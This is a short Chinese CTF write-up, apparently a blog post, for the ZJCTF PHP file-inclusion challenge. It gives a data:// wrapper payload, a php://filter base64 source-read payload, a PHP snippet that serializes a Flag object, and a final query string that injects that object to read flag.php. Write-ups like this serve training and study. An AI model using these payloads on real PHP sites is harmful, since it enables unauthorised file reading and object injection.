文件包含实例

一.知识

1.file_get_contents

file_get_contents($text,‘r’) 好像挺正常的

二.实例

1.php://filter, data://, __tostring

①file_get_contents的作用是将整个文件读入一个字符串

这里将text文件中读取字符串,还要和welcome to the zjctf相等

这里使用的是data://写入协议

?text=data://text/plain,welcome to the zjctf

②源码提示了useless.php这里使用php伪协议来读取文件

php://filter/read=convert.base64-encode/resource=useless.php

③第一个payload

?text=data://text/plain,welcome to the zjctf&file=php://filter/read=convert.base64-encode/resource=useless.php 

④脚本


class Flag{  //flag.php  
    public $file='flag.php';  
    public function __tostring(){
	      
        if(isset($this->file)){ 
         
            echo file_get_contents($this->file); 
            echo "
"
; return ("U R SO CLOSE !///COME ON PLZ"); } } } $a = new Flag(); echo serialize($a);

⑤第二个payload

?text=data://text/plain,welcome to the zjctf&file=useless.php&password=O:4:"Flag":1:{s:4:"file";s:8:"flag.php";}

不加伪协议了, flie还得正确地写

你可能感兴趣的:(文件包含)